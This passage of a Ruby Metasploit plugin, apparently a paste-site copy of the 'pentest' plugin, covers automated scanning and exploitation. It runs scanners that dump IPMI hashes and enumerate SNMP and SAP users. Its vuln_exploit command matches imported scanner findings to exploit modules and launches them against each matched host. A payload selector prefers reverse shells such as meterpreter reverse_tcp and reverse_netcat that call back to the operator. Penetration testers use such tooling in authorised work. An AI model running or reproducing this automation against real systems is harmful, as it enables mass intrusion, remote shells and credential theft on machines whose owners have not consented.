  1732.           run_aux_module("scanner/printer/printer_ready_message",opts)
  1733.           run_aux_module("scanner/printer/printer_list_volumes",opts)
  1734.           run_aux_module("scanner/printer/printer_list_dir",opts)
  1735.           run_aux_module("scanner/printer/printer_download_file",opts)
  1736.           run_aux_module("scanner/printer/printer_env_vars",opts)
  1737.           jobwaiting(maxjobs,verbose, "scanner")
  1738.           next
  1739.  
  1740.         elsif (s.port == 623)
  1741.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1742.           run_aux_module("scanner/ipmi/ipmi_cipher_zero",opts)
  1743.           run_aux_module("scanner/ipmi/ipmi_dumphashes",opts)
  1744.           run_aux_module("scanner/ipmi/ipmi_version",opts)
  1745.           jobwaiting(maxjobs,verbose, "scanner")
  1746.           next
  1747.  
  1748.         elsif (s.port == 6000)
  1749.           opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
  1750.           run_aux_module("scanner/x11/open_x11",opts)
  1751.           jobwaiting(maxjobs,verbose, "scanner")
  1752.           next
  1753.  
  1754.         elsif (s.port == 1521) and s.info.to_s == ""
  1755.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1756.           run_aux_module("scanner/oracle/tnslsnr_version",opts)
  1757.           jobwaiting(maxjobs,verbose, "scanner")
  1758.           next
  1759.  
  1760.         elsif (s.port == 17185) and s.info.to_s == ""
  1761.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1762.           run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
  1763.           run_aux_module("scanner/vxworks/wdbrpc_version",opts)
  1764.           jobwaiting(maxjobs,verbose, "scanner")
  1765.           next
  1766.  
  1767.         elsif (s.port == 50013) and s.info.to_s == ""
  1768.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1769.           run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
  1770.           run_aux_module("scanner/vxworks/wdbrpc_version",opts)
  1771.           jobwaiting(maxjobs,verbose, "scanner")
  1772.           next
  1773.  
  1774.         elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == ""
  1775.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1776.           run_aux_module("scanner/db2/db2_version",opts)
  1777.           jobwaiting(maxjobs,verbose, "scanner")
  1778.           next
  1779.  
  1780.         elsif (s.port.to_s =~ /50013/) and s.info.to_s == ""
  1781.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1782.           run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts)
  1783.           run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts)
  1784.           run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts)
  1785.           run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts)
  1786.           run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts)
  1787.           run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts)
  1788.           run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts)
  1789.           run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts)
  1790.           run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts)
  1791.           run_aux_module("scanner/sap/sap_mgmt_con_version",opts)
  1792.           jobwaiting(maxjobs,verbose, "scanner")
  1793.           next
  1794.  
  1795.         elsif (s.port == 8080) and s.info.to_s == ""
  1796.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1797.           run_aux_module("scanner/http/sap_businessobjects_version_enum",opts)
  1798.           run_aux_module("scanner/http/open_proxy",opts)
  1799.           jobwaiting(maxjobs,verbose, "scanner")
  1800.           next
  1801.  
  1802.         elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/)
  1803.           opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
  1804.           run_aux_module("scanner/snmp/snmp_login",opts)
  1805.           jobwaiting(maxjobs,verbose, "scanner")
  1806.  
  1807.           if s.creds.length > 0
  1808.             s.creds.each do |c|
  1809.               opts = {
  1810.                 'RHOSTS' => s.host.address,
  1811.                 'RPORT' => s.port,
  1812.                 'VERSION' => "1",
  1813.                 'COMMUNITY' => c.pass
  1814.                 }
  1815.               run_aux_module("scanner/snmp/snmp_enum",opts)
  1816.               jobwaiting(maxjobs,verbose,"scanner")
  1817.  
  1818.               opts = {
  1819.                 'RHOSTS' => s.host.address,
  1820.                 'RPORT' => s.port,
  1821.                 'VERSION' => "2c",
  1822.                 'COMMUNITY' => c.pass
  1823.                 }
  1824.               run_aux_module("scanner/snmp/snmp_enum",opts)
  1825.               jobwaiting(maxjobs,verbose,"scanner")
  1826.  
  1827.               if s.host.os_name =~ /windows/i
  1828.                 opts = {
  1829.                 'RHOSTS' => s.host.address,
  1830.                 'RPORT' => s.port,
  1831.                 'VERSION' => "1",
  1832.                 'COMMUNITY' => c.pass
  1833.                 }
  1834.                 run_aux_module("scanner/snmp/snmp_enumusers",opts)
  1835.                 jobwaiting(maxjobs,verbose,"scanner")
  1836.  
  1837.                 opts = {
  1838.                 'RHOSTS' => s.host.address,
  1839.                 'RPORT' => s.port,
  1840.                 'VERSION' => "2c",
  1841.                 'COMMUNITY' => c.pass
  1842.                 }
  1843.                 run_aux_module("scanner/snmp/snmp_enumusers",opts)
  1844.                 jobwaiting(maxjobs,verbose,"scanner")
  1845.  
  1846.                 opts = {
  1847.                 'RHOSTS' => s.host.address,
  1848.                 'RPORT' => s.port,
  1849.                 'VERSION' => "1",
  1850.                 'COMMUNITY' => c.pass
  1851.                 }
  1852.                 run_aux_module("scanner/snmp/snmp_enumshares",opts)
  1853.                 jobwaiting(maxjobs,verbose,"scanner")
  1854.  
  1855.                 opts = {
  1856.                 'RHOSTS' => s.host.address,
  1857.                 'RPORT' => s.port,
  1858.                 'VERSION' => "2c",
  1859.                 'COMMUNITY' => c.pass
  1860.                 }
  1861.                 run_aux_module("scanner/snmp/snmp_enumshares",opts)
  1862.                 jobwaiting(maxjobs,verbose,"scanner")
  1863.  
  1864.               else
  1865.                 opts = {
  1866.                 'RHOSTS' => s.host.address,
  1867.                 'RPORT' => s.port,
  1868.                 'VERSION' => "1",
  1869.                 'COMMUNITY' => c.pass
  1870.                 }
  1871.                 run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
  1872.                 jobwaiting(maxjobs,verbose,"scanner")
  1873.  
  1874.                 opts = {
  1875.                 'RHOSTS' => s.host.address,
  1876.                 'RPORT' => s.port,
  1877.                 'VERSION' => "2c",
  1878.                 'COMMUNITY' => c.pass
  1879.                 }
  1880.                 run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
  1881.                 jobwaiting(maxjobs,verbose,"scanner")
  1882.  
  1883.                 opts = {
  1884.                 'RHOSTS' => s.host.address,
  1885.                 'RPORT' => s.port,
  1886.                 'VERSION' => "1",
  1887.                 'COMMUNITY' => c.pass
  1888.                 }
  1889.                 run_aux_module("scanner/snmp/aix_version",opts)
  1890.                 jobwaiting(maxjobs,verbose,"scanner")
  1891.  
  1892.                 opts = {
  1893.                 'RHOSTS' => s.host.address,
  1894.                 'RPORT' => s.port,
  1895.                 'VERSION' => "2c",
  1896.                 'COMMUNITY' => c.pass
  1897.                 }
  1898.                 run_aux_module("scanner/snmp/aix_version",opts)
  1899.                 jobwaiting(maxjobs,verbose,"scanner")
  1900.                 next
  1901.  
  1902.               end
  1903.             end
  1904.           end
  1905.         end
  1906.       end
  1907.     end
  1908.   end
  1909.  
  1910.   # Exploit handling commands
  1911.   ################################################################################################
  1912.  
  1913.   class AutoExploit
  1914.     include Msf::Ui::Console::CommandDispatcher
  1915.     # Set name for command dispatcher
  1916.     def name
  1917.       "auto_exploit"
  1918.     end
  1919.  
  1920.  
  1921.     # Define Commands
  1922.     def commands
  1923.       {
  1924.         "vuln_exploit"     => "Runs exploits based on data imported from vuln scanners.",
  1925.         "show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
  1926.       }
  1927.     end
  1928.  
  1929.  
  1930.     # vuln exploit command
  1931.     def cmd_vuln_exploit(*args)
  1932.       require 'timeout'
  1933.  
  1934.       # Define options
  1935.       opts = Rex::Parser::Arguments.new(
  1936.         "-f"   => [ true,   "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
  1937.         "-r"   => [ true,   "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
  1938.         "-m"   => [ false,  "Only show matched exploits."],
  1939.         "-s"   => [ false,  "Do not limit number of sessions to one per target."],
  1940.         "-j"   => [ true,   "Max number of concurrent jobs, 3 is the default."],
  1941.         "-h"   => [ false,  "Command Help"]
  1942.       )
  1943.  
  1944.       # set variables for options
  1945.       os_type = ""
  1946.       filter = []
  1947.       range = []
  1948.       limit_sessions = true
  1949.       matched_exploits = []
  1950.       min_rank = 100
  1951.       show_matched = false
  1952.       maxjobs = 3
  1953.       ranks ={
  1954.         "low"       => 100,
  1955.         "average"   => 200,
  1956.         "normal"    => 300 ,
  1957.         "good"      => 400,
  1958.         "great"     => 500,
  1959.         "excellent" => 600
  1960.       }
  1961.       # Parse options
  1962.       opts.parse(args) do |opt, idx, val|
  1963.         case opt
  1964.         when "-f"
  1965.           range = val.gsub(" ","").split(",")
  1966.         when "-r"
  1967.           if ranks.include?(val)
  1968.             min_rank = ranks[val]
  1969.           else
  1970.             print_error("Value of #{val} not in list using default of good.")
  1971.           end
  1972.         when "-s"
  1973.           limit_sessions = false
  1974.         when "-m"
  1975.           show_matched = true
  1976.         when "-j"
  1977.           maxjobs = val.to_i
  1978.  
  1979.         when "-h"
  1980.           print_line(opts.usage)
  1981.           return
  1982.  
  1983.         end
  1984.       end
  1985.  
  1986.       # Make sure that there are vulnerabilities in the table before doing anything else
  1987.       if framework.db.workspace.vulns.length == 0
  1988.         print_error("No vulnerabilities are present in the database.")
  1989.         return
  1990.       end
  1991.  
  1992.       # generate a list of IP's to not exploit
  1993.       range.each do |r|
  1994.         Rex::Socket::RangeWalker.new(r).each do |i|
  1995.           filter << i
  1996.         end
  1997.       end
  1998.  
  1999.       exploits =[]
  2000.       print_status("Generating List for Matching...")
  2001.       framework.exploits.each_module do |n,e|
  2002.         exploit = {}
  2003.         x=e.new
  2004.         if x.datastore.include?('RPORT')
  2005.           exploit = {
  2006.             :exploit    => x.fullname,
  2007.             :port       => x.datastore['RPORT'],
  2008.             :platforms  => x.platform.names.join(" "),
  2009.             :date       => x.disclosure_date,
  2010.             :references => x.references,
  2011.             :rank       => x.rank
  2012.           }
  2013.           exploits << exploit
  2014.         end
  2015.       end
  2016.  
  2017.       print_status("Matching Exploits (This will take a while depending on number of hosts)...")
  2018.       framework.db.workspace.hosts.each do |h|
  2019.         # Check that host has vulnerabilities associated in the DB
  2020.         if h.vulns.length > 0
  2021.           os_type = normalise_os(h.os_name)
  2022.           #payload = chose_pay(h.os_name)
  2023.           exploits.each do |e|
  2024.             found = false
  2025.             next if not e[:rank] >= min_rank
  2026.             if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
  2027.               # lets get the proper references
  2028.               e_refs = parse_references(e[:references])
  2029.               h.vulns.each do |v|
  2030.                 v.refs.each do |f|
  2031.                   # Filter out Nessus notes
  2032.                   next if f.name =~ /^NSS|^CWE/
  2033.                   if e_refs.include?(f.name) and not found
  2034.                     # Skip those hosts that are filtered
  2035.                     next if filter.include?(h.address)
  2036.                     # Save exploits in manner easy to retrieve later
  2037.                     exploit = {
  2038.                       :exploit => e[:exploit],
  2039.                       :port    => e[:port],
  2040.                       :target  => h.address,
  2041.                       :rank    => e[:rank]
  2042.                     }
  2043.                     matched_exploits << exploit
  2044.                     found = true
  2045.                   end
  2046.                 end
  2047.               end
  2048.             end
  2049.           end
  2050.         end
  2051.  
  2052.       end
  2053.  
  2054.       if matched_exploits.length > 0
  2055.         # Sort by rank with highest ranked exploits first
  2056.         matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
  2057.  
  2058.         print_good("Matched Exploits:")
  2059.         matched_exploits.each do |e|
  2060.           print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
  2061.         end
  2062.  
  2063.         # Only show matched records if user only wanted if selected.
  2064.         return if show_matched
  2065.  
  2066.         # Track LPORTs used
  2067.         known_lports = []
  2068.  
  2069.         # Make sure that existing jobs do not affect the limit
  2070.         current_jobs = framework.jobs.keys.length
  2071.         maxjobs = current_jobs + maxjobs
  2072.  
  2073.         # Start launching exploits that matched sorted by best ranking first
  2074.         print_status("Running Exploits:")
  2075.         matched_exploits.each do |e|
  2076.           # Select a random port for LPORT
  2077.           port_list = (1024..65000).to_a.shuffle.first
  2078.           port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
  2079.  
  2080.           # Check if we are limiting one session per target and enforce
  2081.           if limit_sessions and get_current_sessions.include?(e[:target])
  2082.             print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
  2083.             next
  2084.           end
  2085.  
  2086.           # Configure and launch the exploit
  2087.           begin
  2088.             ex = framework.modules.create(e[:exploit])
  2089.  
  2090.             # Choose a payload depending on the best match for the specific exploit
  2091.             ex = chose_pay(ex, e[:target])
  2092.             ex.datastore['RHOST'] = e[:target]
  2093.             ex.datastore['RPORT'] = e[:port].to_i
  2094.             ex.datastore['LPORT'] = port_list
  2095.             ex.datastore['VERBOSE'] = true
  2096.             (ex.options.validate(ex.datastore))
  2097.             print_status("Running #{e[:exploit]} against #{e[:target]}")
  2098.  
  2099.             # Provide 20 seconds for a exploit to timeout
  2100.             Timeout::timeout(20) do
  2101.               ex.exploit_simple(
  2102.                 'Payload'     => ex.datastore['PAYLOAD'],
  2103.                 'LocalInput'  => driver.input,
  2104.                 'LocalOutput'   => driver.output,
  2105.                 'RunAsJob'      => true
  2106.               )
  2107.             end
  2108.           rescue Timeout::Error
  2109.             print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
  2110.           end
  2111.           jobwaiting(maxjobs)
  2112.         end
  2113.       else
  2114.         print_error("No Exploits where Matched.")
  2115.         return
  2116.       end
  2117.     end
  2118.  
  2119.  
  2120.     # Show client side exploits
  2121.     def cmd_show_client_side(*args)
  2122.  
  2123.       # Define options
  2124.       opts = Rex::Parser::Arguments.new(
  2125.         "-r"   => [ true,   "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
  2126.         "-h"   => [ false,  "Command Help"]
  2127.       )
  2128.  
  2129.       # set variables for options
  2130.       os_type = ""
  2131.       matched_exploits = []
  2132.       min_rank = 100
  2133.       ranks ={
  2134.         "low"       => 100,
  2135.         "average"   => 200,
  2136.         "normal"    => 300 ,
  2137.         "good"      => 400,
  2138.         "great"     => 500,
  2139.         "excellent" => 600
  2140.       }
  2141.       # Parse options
  2142.       opts.parse(args) do |opt, idx, val|
  2143.         case opt
  2144.         when "-r"
  2145.           if ranks.include?(val)
  2146.             min_rank = ranks[val]
  2147.           else
  2148.             print_error("Value of #{val} not in list using default of good.")
  2149.           end
  2150.  
  2151.         when "-h"
  2152.           print_line(opts.usage)
  2153.           return
  2154.         end
  2155.       end
  2156.  
  2157.       exploits =[]
  2158.  
  2159.       # Make sure that there are vulnerabilities in the table before doing anything else
  2160.       if framework.db.workspace.vulns.length == 0
  2161.         print_error("No vulnerabilities are present in the database.")
  2162.         return
  2163.       end
  2164.  
  2165.       print_status("Generating List for Matching...")
  2166.       framework.exploits.each_module do |n,e|
  2167.         exploit = {}
  2168.         x=e.new
  2169.         if x.datastore.include?('LPORT')
  2170.           exploit = {
  2171.             :exploit    => x.fullname,
  2172.             :port       => x.datastore['RPORT'],
  2173.             :platforms  => x.platform.names.join(" "),
  2174.             :date       => x.disclosure_date,
  2175.             :references => x.references,
  2176.             :rank       => x.rank
  2177.           }
  2178.           exploits << exploit
  2179.         end
  2180.       end
  2181.  
  2182.       print_status("Matching Exploits (This will take a while depending on number of hosts)...")
  2183.       framework.db.workspace.hosts.each do |h|
  2184.         # Check that host has vulnerabilities associated in the DB
  2185.         if h.vulns.length > 0
  2186.           os_type = normalise_os(h.os_name)
  2187.           #payload = chose_pay(h.os_name)
  2188.           exploits.each do |e|
  2189.             found = false
  2190.             next if not e[:rank] >= min_rank
  2191.             if e[:platforms].downcase =~ /#{os_type}/
  2192.               # lets get the proper references
  2193.               e_refs = parse_references(e[:references])
  2194.               h.vulns.each do |v|
  2195.                 v.refs.each do |f|
  2196.                   # Filter out Nessus notes
  2197.                   next if f.name =~ /^NSS|^CWE/
  2198.                   if e_refs.include?(f.name) and not found
  2199.                     # Save exploits in manner easy to retrieve later
  2200.                     exploit = {
  2201.                       :exploit => e[:exploit],
  2202.                       :port    => e[:port],
  2203.                       :target  => h.address,
  2204.                       :rank    => e[:rank]
  2205.                     }
  2206.                     matched_exploits << exploit
  2207.                     found = true
  2208.                   end
  2209.                 end
  2210.               end
  2211.             end
  2212.           end
  2213.         end
  2214.       end
  2215.  
  2216.       if matched_exploits.length > 0
  2217.         # Sort by rank with highest ranked exploits first
  2218.         matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
  2219.         print_good("Matched Exploits:")
  2220.         matched_exploits.each do |e|
  2221.           print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
  2222.         end
  2223.       else
  2224.         print_status("No Matching Client Side Exploits where found.")
  2225.       end
  2226.     end
  2227.  
  2228.  
  2229.     # Normalize the OS name since different scanner may have entered different values.
  2230.     def normalise_os(os_name)
  2231.       case os_name
  2232.       when /(Microsoft|Windows)/i
  2233.         os = "windows"
  2234.       when /(Linux|Ubuntu|CentOS|RedHat)/i
  2235.         os = "linux"
  2236.       when /aix/i
  2237.         os = "aix"
  2238.       when /(freebsd)/i
  2239.         os = "bsd"
  2240.       when /(hpux|hp-ux)/i
  2241.         os = "hpux"
  2242.       when /solaris/i
  2243.         os = "solaris"
  2244.       when /(Apple|OSX|OS X)/i
  2245.         os = "osx"
  2246.       end
  2247.       return os
  2248.     end
  2249.  
  2250.  
  2251.     # Parse the exploit references and get a list of CVE, BID and OSVDB values that
  2252.     # we can match accurately.
  2253.     def parse_references(refs)
  2254.       references = []
  2255.       refs.each do |r|
  2256.         # We do not want references that are URLs
  2257.         next if r.ctx_id == "URL"
  2258.         # Format the reference as it is saved by Nessus
  2259.         references << "#{r.ctx_id}-#{r.ctx_val}"
  2260.       end
  2261.       return references
  2262.     end
  2263.  
  2264.  
  2265.     # Choose the proper payload
  2266.     def chose_pay(mod, rhost)
  2267.       # taken from the exploit ui mixin
  2268.       # A list of preferred payloads in the best-first order
  2269.       pref = [
  2270.         'windows/meterpreter/reverse_tcp',
  2271.         'java/meterpreter/reverse_tcp',
  2272.         'php/meterpreter/reverse_tcp',
  2273.         'php/meterpreter_reverse_tcp',
  2274.         'cmd/unix/interact',
  2275.         'cmd/unix/reverse',
  2276.         'cmd/unix/reverse_perl',
  2277.         'cmd/unix/reverse_netcat',
  2278.         'windows/meterpreter/reverse_nonx_tcp',
  2279.         'windows/meterpreter/reverse_ord_tcp',
  2280.         'windows/shell/reverse_tcp',
  2281.         'generic/shell_reverse_tcp'
  2282.       ]
  2283.       pset = mod.compatible_payloads.map{|x| x[0] }
  2284.       pref.each do |n|
  2285.         if(pset.include?(n))
  2286.           mod.datastore['PAYLOAD'] = n
  2287.           mod.datastore['LHOST']   = Rex::Socket.source_address(rhost)
  2288.           return mod
  2289.         end
  2290.       end
  2291.     end
  2292.  
  2293.  
  2294.     # Create a payload given a name, lhost and lport, additional options
  2295.     def create_payload(name, lhost, lport, opts = "")
  2296.       pay = framework.payloads.create(name)
  2297.       pay.datastore['LHOST'] = lhost
  2298.       pay.datastore['LPORT'] = lport
  2299.       if not opts.empty?
  2300.         opts.split(",").each do |o|
  2301.           opt,val = o.split("=", 2)
  2302.           pay.datastore[opt] = val
  2303.         end
  2304.       end
  2305.       # Validate the options for the module
  2306.       if pay.options.validate(pay.datastore)
  2307.         print_good("Payload option validation passed")
  2308.       end
  2309.       return pay
  2310.  
  2311.     end
  2312.  
  2313.  
  2314.     def get_current_sessions()
  2315.       session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
  2316.       return session_hosts
  2317.     end
  2318.  
  2319.  
  2320.     # Method to write string to file
  2321.     def file_write(file2wrt, data2wrt)
  2322.       if not ::File.exists?(file2wrt)
  2323.         ::FileUtils.touch(file2wrt)
  2324.       end
  2325.       output = ::File.open(file2wrt, "a")
  2326.       data2wrt.each_line do |d|
  2327.         output.puts(d)
  2328.       end
  2329.       output.close
  2330.     end
  2331.  
  2332.  
  2333.     def get_job_count
  2334.       job_count = 1
  2335.       framework.jobs.each do |k,j|
  2336.         if j.name !~ /handler/
  2337.           job_count =  job_count + 1
  2338.         end
  2339.       end
  2340.       return job_count
  2341.     end
  2342.  
  2343.  
  2344.     def jobwaiting(maxjobs, verbose=true)
  2345.       while(get_job_count >= maxjobs)
  2346.         ::IO.select(nil, nil, nil, 2.5)
  2347.         if verbose
  2348.           print_status("Waiting for some modules to finish")
  2349.         end
  2350.       end
  2351.     end
  2352.   end
  2353.  
  2354.   def initialize(framework, opts)
  2355.     super
  2356.     if framework.db and framework.db.active
  2357.       add_console_dispatcher(PostautoCommandDispatcher)
  2358.       add_console_dispatcher(ProjectCommandDispatcher)
  2359.       add_console_dispatcher(DiscoveryCommandDispatcher)
  2360.       add_console_dispatcher(AutoExploit)
  2361.  
  2362.       archive_path =  ::File.join(Msf::Config.log_directory,"archives")
  2363.       project_paths = ::File.join(Msf::Config.log_directory,"projects")
  2364.  
  2365.       # Create project folder if first run
  2366.       if not ::File.directory?(project_paths)
  2367.         ::FileUtils.mkdir_p(project_paths)
  2368.       end
  2369.  
  2370.       # Create archive folder if first run
  2371.       if not ::File.directory?(archive_path)
  2372.         ::FileUtils.mkdir_p(archive_path)
  2373.       end
  2374.       banner = %{
  2375.        ___         _          _     ___ _           _
  2376.       | _ \\___ _ _| |_ ___ __| |_  | _ \\ |_  _ __ _(_)_ _
  2377.       |  _/ -_) ' \\  _/ -_|_-<  _| |  _/ | || / _` | | ' \\
  2378.       |_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_|
  2379.                                               |___/
  2380.       }
  2381.       print_line banner
  2382.       print_line "Version 1.3"
  2383.       print_line "Pentest plugin loaded."
  2384.       print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)"
  2385.     else
  2386.       print_error("This plugin requires the framework to be connected to a Database!")
  2387.     end
  2388.   end
  2389.  
  2390.   def cleanup
  2391.     remove_console_dispatcher('Postauto')
  2392.     remove_console_dispatcher('Project')
  2393.     remove_console_dispatcher('Discovery')
  2394.     remove_console_dispatcher("auto_exploit")
  2395.   end
  2396.  
  2397.   def name
  2398.     "pentest"
  2399.   end
  2400.  
  2401.   def desc
  2402.     "Plugin for Post-Exploitation automation."
  2403.   end
  2404. protected
  2405. end
  2406. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement